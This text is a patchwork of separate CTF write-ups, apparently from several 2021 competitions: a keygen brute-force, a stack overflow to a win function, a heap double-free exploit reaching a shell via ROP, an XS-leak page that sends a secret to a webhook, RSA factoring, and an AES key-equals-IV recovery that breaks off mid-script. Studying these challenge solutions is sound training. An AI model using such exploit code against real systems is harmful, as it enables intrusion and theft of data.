- Create a map that will store a sum and its associated offset sequence and fill it with 1-byte sequences - While nothing found: - Generate `n+1` sequences, and for each new sequence generated, check if (0xbcdb6 - current sum) is in our dict. - If it's the case, then we found a valid serial which is `map[current_sum] + map0xbcdb6 - current_sum]`.
Which gives this implemented in Python:```python#!/usr/bin/pythonimport structimport ctypesimport itertools
crt = ctypes.cdll.msvcrt
def mod(x, n): if x < 0: return (n + x) % n else: return (x % n)
username = b"aaSSfxxx"print(username)seed = sum(username)
crt.srand(seed)random_array = [crt.rand() % 13371337 for _ in range(256)]
dictcomb = {random_array[x]: [x] for x in range(len(random_array))}loop = Truewhile loop: keys = dictcomb.keys() for elt in list(keys): # Construct sequence of n+1 offsets for i in range(len(random_array)): # Compute the next sequence and the associated sum j = dictcomb[elt] + [i] result = (elt + random_array[i]) % 13371337 # Add it into the dict if not already present (if we had a shorter sequence with the same sum) if result not in dictcomb: dictcomb[result] = j # Check if (0xbcdb6 - checksum) is present. If so then concatenate the two sequences to form the array if (0xbcdb6 - result) in dictcomb: print("".join(["%02x" % x for x in (dictcomb[result] + dictcomb[(0xbcdb6 - result)])])) loop = False break if not loop: break```After 2/3 minutes of running, this gives a valid flag for my username `aaSSfxxx`: `0101010101011c4465b0b0e601010b292929a5b0b0b0b0b0b0`. So after entering those information on the remote server, I got the flag. |
# NahamCon CTF 2021
## The List [easy]
> Author: @M_alpha#3534>> We need you to compile a list of users for the event. Here's a program you can use to help.>> [the_list](the_list)
Tags: _pwn_ _x86-64_ _bof_ _rop_ _ret2win_
## Summary
Looks like heap, _but do not be fooled_, it's just basic _bof_ _ret2win_.
From this menu:
```1. Print users2. Add user3. Delete user4. Change user's name5. Exit```
Just keep adding users until _bof_.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE and no canary, ripe for _rop_ and _bof_.
### Decompile with Ghidra
```cvoid add_user(long param_1){ size_t sVar1; int local_1c; local_1c = 0; while (*(char *)(param_1 + (long)local_1c * 0x20) != '\0') { local_1c = local_1c + 1; } printf("Enter the user\'s name: "); fgets((char *)((long)local_1c * 0x20 + param_1),0x20,stdin); sVar1 = strcspn((char *)(param_1 + (long)local_1c * 0x20),"\r\n"); *(undefined *)((long)local_1c * 0x20 + param_1 + sVar1) = 0; puts("User added!"); putchar(10); return;}```
`add_user` does not limit the number of users; that, plus the lack of a canary in `main` is the vulnerability.
> When abusing `add_user`, note that it counts the users by checking if the first character of _name_ is _not_ `\0`, this will mess with your math a bit.
```cundefined8 main(void){ size_t sVar1; undefined local_248 [524]; undefined4 local_3c; char local_38 [47]; char local_9; local_9 = '\x01'; memset(local_248,0,0x200); printf("Enter your name: "); fgets(local_38,0x20,stdin); sVar1 = strcspn(local_38,"\r\n"); local_38[sVar1] = '\0'; printf("Welcome %s!\n",local_38); putchar(10); while (local_9 != '\0') { menu(); __isoc99_scanf(&%d,&local_3c); getchar(); switch(local_3c) { default: puts("Invalid choice!"); break; case 1: print_users((long)local_248); break; case 2: add_user((long)local_248); break; case 3: delete_user((long)local_248); break; case 4: change_uname((long)local_248); break; case 5: local_9 = '\0'; } local_3c = 0; } puts("Goodbye!"); return 0;}```
**WARNING:** While overflowing the buffer `local_248`, `local_9` must remain `\x01` or you may suffer from premature ejection before you are able to finish off your sploit.
Right, so call `add_user` `0x248 // 0x20` (18) times to put us `0x248 - 0x20 * (0x248 // 0x20)` (8) bytes from the return address, _right?_
Well..., some garbage is in the way:
```0x00007ffda532aa20│+0x01e0: 0x0000000000000041 ("A"?)0x00007ffda532aa28│+0x01e8: 0x00000000000000000x00007ffda532aa30│+0x01f0: 0x00000000000000000x00007ffda532aa38│+0x01f8: 0x00000000000000000x00007ffda532aa40│+0x0200: 0x00000000000000020x00007ffda532aa48│+0x0208: 0x0000000200401a5d0x00007ffda532aa50│+0x0210: 0x0000000068616c62 ("blah"?)0x00007ffda532aa58│+0x0218: 0x0000000000401a10 → <__libc_csu_init+0> endbr640x00007ffda532aa60│+0x0220: 0x0000000000000041 ("A"?)0x00007ffda532aa68│+0x0228: 0x0000000000401250 → <_start+0> endbr640x00007ffda532aa70│+0x0230: 0x00007ffda532ab70 → 0x00000000000000010x00007ffda532aa78│+0x0238: 0x01000000000000000x00007ffda532aa80│+0x0240: 0x0000000000000000 ← $rbp0x00007ffda532aa88│+0x0248: 0x00007f91ec9270b3 → <__libc_start_main+243> mov edi, eax```
Above is the stack after writing _17_ users with the name `A`. Look at line `+0x0200`, that `2` is uninitialized stack trash; `add_user` assumes that if not `\0` then it must be a user. So, to get within striking distance of the return address we only need to add _17_ users since `add_user` skipped over _the trash_.
> We're basically in uninitialized stack garbage at this point, we're also lucky that line `+0x0220` was `\0`.
Line `+0x0238` is `local_9`; when adding the 17th user (18th actually since 17th was free curtesy of _uninitialized stack garbage_), it is important to keep the name short to avoid overwriting `local_9`--null that out, and, well, you cannot add your final user, your attack.
> NOTE: _uninitialized stack garbage_ is _not_ random. You can frequently count on it to bail you out.
The next user added will overwrite `$rdp`, followed by the return address.
```void give_flag(void){ stat local_a8; char *local_18; int local_c; local_c = open("flag.txt",0); if (local_c < 0) { puts("Could not open the flag."); exit(1); } fstat(local_c,&local_a8); local_18 = (char *)malloc(local_a8.st_size); read(local_c,local_18,local_a8.st_size); puts(local_18); free(local_18); close(local_c); exit(0);}```
There is a _win_ function, so just append that after 8 bytes for your last user.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./the_list')
if args.REMOTE: p = remote('challenge.nahamcon.com', 31980)else: p = process(binary.path) libc = binary.libc
p.sendlineafter('name: ','blah')
for i in range(0x248 // 0x20 - 1): log.info('adding user: ' + str(i+1)) p.sendlineafter('> ','2') p.sendlineafter('name: ',b'A')
payload = b''payload += 8 * b'A'payload += p64(binary.sym.give_flag)
p.sendlineafter('> ','2')p.sendlineafter('name: ',payload)p.sendlineafter('> ','5')p.stream()p.close()```
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/nahamconctf2021/the_list/the_list' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to challenge.nahamcon.com on port 31980: Done[*] adding user: 1[*] adding user: 2[*] adding user: 3[*] adding user: 4[*] adding user: 5[*] adding user: 6[*] adding user: 7[*] adding user: 8[*] adding user: 9[*] adding user: 10[*] adding user: 11[*] adding user: 12[*] adding user: 13[*] adding user: 14[*] adding user: 15[*] adding user: 16[*] adding user: 17Goodbye!flag{0eb219803dbfcda8620dae0772ae2d72}```
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>UTCTF 2021<span>/</span> </div> </div>
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# LINE CTF 2021 - Web - Your Note
## Problem
> Secure private note service> ※ Admin have disabled some security feature of their browser...>> Flag Format: LINECTF{[a-z0-9-]+}>> http:// 34.84.243.202> http:// 35.200.11.35 (mirror)> http:// 34.84.72.167 (mirror)
## Solution
### Step 1. Redirect to an arbitrary URL
The login API is as follows:```[email protected]('/login', methods=['GET', 'POST'])def login(): url = request.args.get('redirect') if url: url = app.config.get('BASE_URL') + url if current_user.is_authenticated: return redirect(url)
if request.method == 'POST': # -- snip --
elif request.method == 'GET': return render_template('login.html')```
This API provides a redirect to `app.config.get('BASE_URL') + request.args.get('redirect')`, where `BASE_URL = f"http://{APP_HOST}"`.
Then, if we send `http://34.84.72.167/[email protected]` to the bot, the redirect url is `http://{APP_HOST}@evil.example.com`. So, we can make the bot redirect to an arbitary URL because `{APP_HOST}` is interpreted as a user name in the URL.
### Step 2. Specify the flag with `window.opener`
A part of `crawler.js` is as follows:```javascript /* -- snip -- */
const browser = await puppeteer.launch({ args: [ '--no-sandbox', '--disable-popup-blocking', ], headless: true, }); const page = await browser.newPage();
/* -- snip -- */```
The `--disable-popup-blocking` option enables us to use `window.open`.
So, I prepared the following attack server:
- `index.html`: ```html <script> window.open("evil.html"); </script> ```- `empty.html`: ```html
```- `evil.html` ```html <script> const url = "http://34.84.72.167"; const webhook = "https://{{ ... }}"; const chars = "}-abcdefghijklmnopqrstuvwxyz0123456789"; const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const main = async () => { await sleep(200);
window.open(`${webhook}/ping`);
let prefix = "LINECTF{";
while (true) { if (prefix.endsWith("}")) { break; } window.open(`${webhook}/prefix/${prefix}`);
await sleep(200); let exists = false; for (const c of chars) {
window.opener.location.href = `/empty.html`; await sleep(200); window.opener.location.href = `${url}/search?q=${prefix + c}&download`; await sleep(500);
try { console.log(window.opener.document.body.textContent); prefix += c; exists = true; break; } catch (e) { } } if (!exists) { window.open(`${webhook}/fail/${prefix}`); return; } } window.open(`${webhook}/success/${prefix}`); }; main(); </script> ```
If a user who has a note with a flag `LINECTF{[a-z0-9-]+}` accesses `index.html`, the flag is leaked in order from the first character. This is a XS-leak attack with Cross-Origin-Opener-Policy.
This attack was successful in my local environment. However, unfortunately, because the problem server was unstable, I got the flag by adjusting the sleep times and saving the search range at that point :(
## Flag
`LINECTF{1-kn0w-what-y0u-d0wn10ad}` |
**tl;dr**
* File recovery from the memory dump* Environment variables analysis.* RAR and Zip password cracking.* Cracking Windows user password hash.* Extracting Keepass Master Password from keystrokes of logged data. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-WRITEUPS-2021</span></span></span><span>/</span><span><span>BlueHensCTF 2021</span></span><span>/</span><span><span>pwn</span></span><span>/</span>tiny_timmy<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-WRITEUPS-2021</span></span></span><span>/</span><span><span>BlueHensCTF 2021</span></span><span>/</span><span><span>pwn</span></span><span>/</span>tiny_timmy<span>/</span></div>
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You have to do 100 conversion correctly.For example:> convert bytearray to hexdigest: [129, 141, 112, 176, 251, 106, 160, 102] @@@@@> > convert integer to bytearray: 1639309969325418938 @@@@@> > convert bytearray to integer: [55, 107, 189, 150, 85, 213, 147, 94] @@@@@> > ...
The solution was scripted with python. The idea is to use pwntools for connect to remote host, parse the input using splitting and replace methods for get base_a, base_b and the value. When we have all the these values we can convert first to bytes and then to base_b request.
```import binasciifrom pwn import *
def parse_message(message): try: message = message.replace(b"convert", b"").strip() message = message.replace(b" @@@@@", b"").strip() base_a = message.split(b"to")[0].replace(b"convert", b"").strip() base_b = message.split(b"to")[1].split(b":")[0].strip() pivot = (f"{base_b.decode()}:").encode() value = message.split(pivot)[-1].strip() return base_a.decode(), base_b.decode(), value except Exception as e: print(f"Exception raised: {e} with message: {message}")
if __name__ == "__main__":
conn = remote('challenges.ctfd.io', 30008) for i in range(0, 120): for j in range(0, 2): print(conn.recvline())
line = conn.recvline() base_a, base_b, value = parse_message(line) print(line) print(f" Parsed to: from **{base_a}** to **{base_b}** ===> ", value)
response = None #1 - Convert start types in byte. stop if base_a == "bytearray": bytes_value = bytes( bytearray ( eval ( value ) ) ) elif base_a == "hexdigest": bytes_value = bytes.fromhex( value.decode() ) # TypeError: fromhex() argument must be str, not bytes elif base_a == "string": bytes_value = value.strip() # (?) elif base_a == "integer": bytes_value = (int(value)).to_bytes(8, 'big')
#2 - Convert byte from what you want. if base_b == "bytearray": response = str( list( bytearray(bytes_value) ) ) elif base_b == "hexdigest": response = bytes_value.hex() elif base_b == "string": response = bytes_value.strip() elif base_b == "integer": response = str( int.from_bytes(bytes_value, byteorder='big', signed=False) )
if response is not None: print(b"Going to send response ===> ", response) conn.send(response) conn.send(b"\n") print(b"Response from challenge: " + conn.recvline()) print(conn.recvline()) print(f"\n {i+1} ===================================\n") else: print("No response was provided")``` |
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# Babyjeep: BlueHensCTF
This was heap based binary exploitation challenge, as I had exams, I didn't get the time to look out for this, so I have sometime now, I will do it and log the workflow here, also this challenge had a pretty double free vulnerability which could be turn into the arbitrary write by taking advantage of performing a fastbin dup.But this became an issue because of the constraints we had, listed below:-
# Overview
The `file` and `checksec` output are as given below:-
```r0 [13:01:54] vagrant@oracle(oracle) babyjeep> file main main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=87b424e9ce17b64fbf054a68db9148d498435f89, for GNU/Linux 3.2.0, not stripped0 [13:01:58] vagrant@oracle(oracle) babyjeep> checksec main [*] '/media/sf_Pwning/CTFs/BlueHens/pwn/babyjeep/main' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```
# Vulnerability
```r[0x000010e0]> pdf @sym.delete ; CALL XREF from main @ 0x146c┌ 96: sym.delete ();│ ; var int64_t var_4h @ rbp-0x4│ 0x000012f4 55 push rbp│ 0x000012f5 4889e5 mov rbp, rsp│ 0x000012f8 4883ec10 sub rsp, 0x10│ 0x000012fc 488d3d1c0d00. lea rdi, str.Index ; 0x201f ; "Index" ; const char *s│ 0x00001303 e838fdffff call sym.imp.puts ; int puts(const char *s)│ 0x00001308 488d45fc lea rax, [var_4h]│ 0x0000130c 4889c6 mov rsi, rax│ 0x0000130f 488d3dfa0c00. lea rdi, [0x00002010] ; "%d" ; const char *format│ 0x00001316 b800000000 mov eax, 0│ 0x0000131b e890fdffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)│ 0x00001320 8b45fc mov eax, dword [var_4h]│ 0x00001323 85c0 test eax, eax│ ┌─< 0x00001325 782a js 0x1351│ │ 0x00001327 8b45fc mov eax, dword [var_4h]│ │ 0x0000132a 83f809 cmp eax, 9│ ┌──< 0x0000132d 7f22 jg 0x1351│ ││ 0x0000132f 8b45fc mov eax, dword [var_4h]│ ││ 0x00001332 4898 cdqe│ ││ 0x00001334 488d14c50000. lea rdx, [rax*8]│ ││ 0x0000133c 488d057d2d00. lea rax, obj.chungus ; 0x40c0│ ││ 0x00001343 488b0402 mov rax, qword [rdx + rax]│ ││ 0x00001347 4889c7 mov rdi, rax ; void *ptr│ ││ 0x0000134a e8e1fcffff call sym.imp.free ; void free(void *ptr)│ ┌───< 0x0000134f eb01 jmp 0x1352│ │││ ; CODE XREFS from sym.delete @ 0x1325, 0x132d│ │└└─> 0x00001351 90 nop│ │ ; CODE XREF from sym.delete @ 0x134f│ └───> 0x00001352 c9 leave└ 0x00001353 c3 ret```
As you can see that the `obj.chungus` is not being checked for itself being already free or this pointer is not being updated once `free(chungus[idx])` is called.The vulnerability was in this binary was of the double free and the given libc was `GLIBC 2.23`, so from that we know it could be considered to be just double free.Also, the `show` function had UAF as well, allowing us to leak addresses.
##### Constraints
The reasonable constraint we had here is size check for the allocation which was only limited for the fastbin size apparently, even less being `111`.
# Exploitation
For the sake of understanding, I will split the exploit in 4 section, are as follows:-
* Heap Leak* LIBC Leak* Preparing for RIP control* Get Shell
### Heap Leak
This is the foremost thing to do, meaning that we have to have a heap leak to carry out the whole exploit. So, to do so, we will just perform double free from the `delete` function and use the UAF in the `show` to leak the heap address, since `fd` of the chunk woule be populated as multiple chunks from the same size would be `free`. the linked list would be populated, hence giving us address of a chunk.
```pymalloc(0,0x40,b"A") # chungus[0]malloc(1,0x40,b"B") # chungus[1]malloc(2,0x40,b"C") # chungus[2]malloc(3,0x40,b"D") # chungus[3]malloc(4,0x40,b"E") # chungus[4]
free(0)free(1)free(0)```Now, the free list would be ` chunk[0]->chunk[1]->chunk[0]`. Now, we will leak the heap address.
```pyheap_leak = show(0)[1:7]heap_leak = u64(heap_leak+b"\x00\x00")log.info(f"HEAP: {hex(heap_leak)}")```
### LIBC Leak
Now, we have the heap leak, so we could craft an overlapping chunk such that creating a fake chunk making it look like a chunk that will belong to the smallbin once `free`'d. This sounds a bit intimidating but it is not, if you figure out the pattern. I'll try my best to simplify:-
We will first, reuqest for `chunk[0]`, this will give us the ability to overwrite the `fd` of the `chunk[0]` such that the it will be returned in th next allocation request from the same bin.
Let's see for now:-
```pymalloc(0,0x40,p64(heap_leak-0x10)+p64(0x0)*6+p64(0x51))```
We will get the `chunk[0]`, now we make the `fd` of it pointing to the `chunk[1] - 0x10` and continue to fill the buffer such that the memory content of the heap looks like:-
```rgef➤ x/40xg 0x55a76febb060 - 0x600x55a76febb000: 0x0000000000000000 0x0000000000000051 <-- chunk[0]0x55a76febb010: 0x000055a76febb040 0x00000000000000000x55a76febb020: 0x0000000000000000 0x00000000000000000x55a76febb030: 0x0000000000000000 0x00000000000000000x55a76febb040: 0x0000000000000000 0x0000000000000051 <-- fake_chunk0x55a76febb050: 0x0000000000000000 0x0000000000000051 <-- chunk[1]0x55a76febb060: 0x000055a76febb000 0x00000000000000000x55a76febb070: 0x0000000000000000 0x0000000000000000```
> The pointers pointed by the bin head would point directly to `chunk + 0x10` i.e. from the `fd`.Now, we will just go on with getting the chunks and work usually:-
```pymalloc(1,0x40,b"A")malloc(5,0x40,b"B")```
Now, for next allocation, we will get the `0x55...40` because what was the value of the `fd` of the `chunk[1]`. Now, since we created a `chunk[1]` with the size to be pointed at that, we will be able to tamper the `chunk[1]` metadata.
```pymalloc(6,0x40,p64(0x0)+p64(0xf1))```
Doing so:-
```r0x55a76febb040: 0x0000000000000000 0x00000000000000510x55a76febb050: 0x0000000000000000 0x00000000000000f10x55a76febb060: 0x000055a76febb041 0x0000000000000000```
Now, when we free the `chunk[1]` it will go into the unsorted bin and the `fd` and `bk` would be populated with the `main_arena` address, hence using the UAF from the `show` function, we will get the `main_arena` address, apparently, the LIBC base address.
```pyfree(1)libc_leak = show(1)[1:7]libc_leak = u64(libc_leak+b"\x00\x00")libc.address = libc_leak - 0x3c4b78```Heap:-
```r0x55962973d040: 0x0000000000000000 0x00000000000000510x55962973d050: 0x0000000000000000 0x00000000000000f10x55962973d060: 0x00007fc95f874b78 0x00007fc95f874b78```
# Preparing for the RIP Control
To do the said, we have to go the way, we will first create a fake chunk on top of the `_IO_2_1_stdout_`, at best we do this because implying many of the few techniques of simply overwriting the `__malloc_hook` from here didn't worked, so to get the RIP control, the way to go from here is create a chunk of some sort near the `_IO_2_1_stdout_`.
Now, first we will attempt to make the chunk of size `0x71` and peform double free to create chunk at the `_IO_2_1_stdout` by overwriting the `fd`:-
```pymalloc(0,0x40,b"A")malloc(1,0x40,b"B")malloc(2,0x40,b"C")
malloc(0,0x60,b"A")malloc(1,0x60,b"B")malloc(2,0x60,b"C")
free(0)free(2)free(0)```
Now, we will overwrite the `fd` of the `chunk[0]` with the an address from the `_IO_2_1_stdout` region such that it would suffice the size check.
```pymalloc(0,0x60,p64(IO_2_1_stdout))malloc(5,0x60,"A")malloc(2,0x60,"B")malloc(3,0x60,b"C"*3+p64(0x0)*4+p64(0x71)+p64(0x0))```
Now, this will create a chunk near the `_IO_2_1_stdout_`. The first chunk would look like:-
```r0x7f193ff705f8 <_IO_2_1_stderr_+184>: 0x0000000000000000 0x00000000000000000x7f193ff70608 <_IO_2_1_stderr_+200>: 0x0000000000000000 0x0000000000000071```
Now, since having near a chunk near the `_IO_2_1_stderr_`, we will just now overwrite the following data as such:-
```r$4 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7f193ff706a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f193ff706a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f193ff706a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f193ff706a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f193ff706a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f193ff706a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f193ff706a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f193ff706a4 <_IO_2_1_stdout_+132> "", ```
We will make this as following:-
```r$4 = { file = { _flags = 0xfbad1800, _IO_read_ptr = 0 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0 <_IO_2_1_stdout_+131> "\n", _IO_write_base = environ <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = environ+0x20 <_IO_2_1_stdout_+131> "\n", _IO_write_end = environ+0x20 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = environ+0x20 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = environ+0x21 <_IO_2_1_stdout_+132> "", ```
This will result in leaking the stack address, from here we can calculate stack address as such that we will calculate the `ret` value so that we will take advantage of it.
```pymalloc(0,0x60,p64(_IO_2_1_stderr_200))malloc(5,0x60,"A")malloc(2,0x60,"B")malloc(3,0x60,b"A"*8+p64(0xfbad1800)+p64(0x0)*3+p64(environ)+p64(environ+0x20)*3+p64(environ+0x21))```
Now, once any IO based function will be called, we will get the leaks:-
```pystack_leak = p.recvuntil(b"Malloc")
stack_leak = u64(stack_leak[1:9])ret = stack_leak - 0x110 - 0x43```
That being done, we can now move on to the `get_shell` part since from here we have the `ret` address, we can just do double free again and overwrite the return address, getting the RIP control.
# Get Shell
Now, we will fix the chunks again by allocating the `0x71` chunks:-
```pymalloc(0,0x60,b"A")malloc(1,0x60,b"B")malloc(2,0x60,b"C")malloc(3,0x60,b"A")malloc(4,0x60,b"B")malloc(5,0x60,b"C")
free(0)free(2)free(0)```
Now, we will just put the `ret` at `fd` of the `chunk[0]` also sufficing the size check done by the `malloc` so no exceptions happen, now we will just allocate chunks and overwrite the `ret` with a simple ROP chain:-
```pymalloc(0,0x60,p64(ret))malloc(5,0x60,"A")malloc(2,0x60,"B")malloc(3,0x60,b"A"*19+p64(pop_rdi)+p64(binsh)+p64(system))```
Now, we will get the shell:-
```r1 [14:58:13] vagrant@oracle(oracle) babyjeep> python3 xpl.py [+] Starting local process './main': pid 3162[*] '/media/sf_Pwning/CTFs/BlueHens/pwn/babyjeep/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] HEAP: 0x563be9d8a050[*] LIBC: 0x7f93bf897000[*] ret : 0x7ffc3adc4215[*] Switching to interactive mode$ whoamivagrant$ ls -latotal 20176drwxrwxr-x 1 vagrant vagrant 4096 Mar 26 14:58 .drwxrwxr-x 1 vagrant vagrant 4096 Mar 21 16:00 ..-rw------- 1 vagrant vagrant 4472832 Mar 26 14:58 core-rw-r--r-- 1 vagrant vagrant 16603959 Mar 25 16:51 gadgets.lst-rwxrwxr-x 1 vagrant vagrant 1868984 Mar 20 22:50 libc.so.6-rwxrwxr-x 1 vagrant vagrant 17344 Mar 20 22:51 main-rw-rw-r-- 1 vagrant vagrant 2502 Mar 26 14:58 xpl.py$ [*] Interrupted``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>UTCTF 2021<span>/</span> </div> </div>
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# Locked OutIn this task we’re given the python script that encrypts user provided data with textbook RSA and outputs ciphertext to a file. We’re also given additional output from the script containing RSA modulus n and values rp, rq from the prime generation algorithm. The following function is used to generate primes:
```pythondef generate_prime(bits): m = 2 while True: a= getrandbits(bits) a = a**m prime = None r = None for i in range(2*a): if gmpy2.is_prime(a +i): prime = a +i r = i break if prime is None: continue return prime, r
p, rp = generate_prime(512)q, rq = generate_prime(512)```We can see that primes are of the following form:`p=a^2+r_p``q=b^2+r_q`Then for the modulus n we have:`n=p⋅q=(ab)^2+a^2 r_q+b^2 r_p+r_p r_q`We can notice that ab contributes a significant part to the value of n. So by extracting square root from n we get good estimate of the ab value:`n^(1/2)=ab+s,`where s is a small value (in a range of few thousands).Assuming we found correct value of ab the following holds true:`a^2 r_q+b^2 r_p=n-(ab)^2-r_p r_q=y, ora^2 r_q+b^2 r_p=y`which is a diophantine equation. It has solutions only and if only gcd(r_p,r_q)|y. For correct value of ab the diophantine equation will have solutions, so we can filter out some incorrect values of ab by checking if gcd(r_p,r_q)|y.Next, we solve diophantine equation and get parametric solution in the form:
`u_0 t +v_0 =a^2``u_1 t +v_1 =b^2`where t is a varying parameter and t∈Z.Multiplying both parts of parametric solution we get:`(u_0 t+v_0)⋅〖(u〗_1 t +v_1)=u_o u_1 t^2+(u_0 v_1+u_1 v_0)t + v_0 v_1=(ab)^2`This is quadratic equation, and we have the assumed value of ab. So next we solve the quadratic equation and check if it has integer solutions. For each integer solution we compute values of a^2,b^2 and then check if `n=(a^2+r_p)⋅(b^2+r_q)`, thus factoring the RSA modulus. Full solution using sage and python (runs a few seconds):```pythonfrom sage.all import *from Crypto.Util.number import inverse, long_to_bytes
n = 18627060853366003817633498319725128072935605420672144028180887821598995058566763870406708181052681986936527075954895204088200290386963730876047423903233595643471077586653831691013827267874620159258094222853259785361633293190228850242828942973252729075142510154777682987087560910570468443515976133521357279350135180187709921165306439775516983770374718903851808402718506713073936579721447055524042778187890314247383276126544626388594005451861656297486009721524593236438272682590796161812616558556489424502887789415628561091674949871825109470840186278129161368348123380425008804948098905894644488816022732318170994842927rp = 228rq = 75
g = gcd(rp, rq)s = 1# bruteforcing s = isqrt(n - rp*rq) - ab# s is in the range of few thousandswhile True: ab = isqrt(n - rp*rq) - s y = n - rp*rq - ab*ab # checking if diophantine equation have solutions (gcd(rp, rq) divides y) # if not, we skip current value of s if y % g != 0: s += 1 continue # solving diophantine equation using sympy sage integration w1, w2 = var('w1, w2') assume(w1, 'integer') assume(w2, 'integer') sol = solve_diophantine(w1*rq + w2*rp == y)
# solving quadratic equation in integers t_0 = var('t_0') assume(t_0, 'integer') tt = solve(sol[0]*sol[1] == ab*ab, t_0, solution_dict=True) print(tt) # quadratic equation has only one solution, then tt - dict if isinstance(tt, dict): ag = sol[0].subs(t_0=tt[t_0]) bg = sol[1].subs(t_0=tt[t_0]) p = ag + rp q = bg + rq if p*q == n: print('AYAYA') print(p) print(q) break # quadratic equation has two solutions (not possible probably), tt - list of dicts elif isinstance(tt, list): for qsol in tt: ag = sol[0].subs(t_0=qsol[t_0]) bg = sol[1].subs(t_0=qsol[t_0]) p = ag + rp q = bg + rq if p*q == n: print('AYAYA') print(p) print(q) break s += 1 print(s)
# p = 150362858575732548219754570301381634122999263516619646855675710330030496390597605066461381496132938312364517714698445634122472027371009904402523096814969573630139999346443540376793118417308745137884179413367200916679151666589105220887354180335290484032521243626622947122613757089607520963969953938000225816877# q = 123880731118078606990137525967538331116275498654165135288667481763468359990787854975994876893087359471477116036463781441086420155388498641200190619570949282848164235074476184966442200869534040008670271367209107524675332904145907801965290873060668160752216813566725872730131480362642158718779920761925401528651
m = 0x15f8468e603cfe7eca368ebf666b98d918686148336e2ffae048dc7dc7d4a399b1c6bff22140a79628c6a66e8d85fcc2d39505f15ec77295d373091c56a57de9472adf673d56307fa7fd2c7a3e2dc2d57c9380a5d332aa4c3592c08da22aa82667ebe7536a104e814c3f06dff9632f26fff3e52c711416abded102fa5377fce6dadcad3ac4d6197da69002817d00d3f765e71d73070fe1d5b1d8f1bf9a148ea026371c2d19debe317d96e9f1911f07286f90b8d9f9ff35d6b886f2f9b171b112f27e96c199e6f70501b282475c5ade73abe1c6bf39aada6507ab080aeccd11942171d83a28fb9c5aaeb7b40cf0a628946d6d46c40534e2fd3d65bf6e718435ced = inverse(65537, (p-1)*(q-1))# print(d)print(long_to_bytes(pow(m, d, n)))```Running the script above we get password for the admin panel:
Using the password “4p7gr0p0w3ndU” and username “admin” we get the flag:
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# Double AgentsIn this task we’re given the server script “server.py”. It decrypts the data user provides using AES in CBC mode. If the decrypted data has correct padding and if it matches an existing filename that script can read, then script sends back the contents of the file back to the user. If the script fails to unpad data or if file doesn’t exist, script sends back the decrypted value in hex format. The following part of the script implements logic described above:```pythondef challenge(req): req.sendall(bytes('Welcome, agent! Request a document:\n', 'utf-8'))
ct = req.recv(4096).decode().strip() ct = bytes.fromhex(ct) if len(ct) % 16 != 0: req.sendall(bytes('Invalid input.\n', 'utf-8')) return cipher = AES.new(key, AES.MODE_CBC, key)
try: file = cipher.decrypt(ct) f = open(unpad(file, 16), 'rb') dt = f.read() f.close() req.sendall(dt) except: req.sendall(bytes("File not found: " + file.hex() + "\n", 'utf-8'))``` We can notice that the cipher uses the same value for key and IV.
```cipher = AES.new(key, AES.MODE_CBC, key)```
Since we can get the plaintext for custom ciphertext, and since mode of the cipher is CBC, we can recover IV doing the following:1. Send two blocks of ciphertext` c = ['\x00'*16, '\x00'*16] `2. Sent ciphertext triggers error, since it doesn’t have correct padding and doesn’t match filename. Receive two blocks of plaintext:` p = ['...', '...'] `3. Let D(x) be a decryption function with a fixed key operating on a single block of ciphertext. Because mode of the cipher is CBC, we know that:
```D(c[1]) = p[1] ^ c[0]D(c[0]) = p[0] ^ IVD(c[0]) = D(c[1])```
Ciphertext blocks we sent are the same, so results of decryption function D on these blocks are the same as well. We recover IV:`IV = D(c[0]) ^ p[0] = p[1] ^ c[0] ^ p[0] = p[1] ^ p[0]`
Recovering IV we also recovered the key for the cipher.File (“double_agents.txt”) containing the flag was specified in the description of the task.Since we know the key and IV, we can encrypt the filename and get the contents of the file from the server.Full solution in python:
```pythonfrom pwn import *from Crypto.Cipher import AESimport binascii
def send(data): io = remote("docker.hackthebox.eu", 30616) io.recvuntil(b"Request a document:\n") io.send(binascii.hexlify(data)) line = io.readline() if not b"File not found: " in line: raise ValueError hexed = line[len("File not found: "):].decode() raw = bytes.fromhex(hexed) return raw
def xorb(a, b): return bytes([x ^ y for x, y in zip(a, b)])
enc = b'\x00'*32dec = send(enc)iv = xorb(dec[:16], dec[16:])
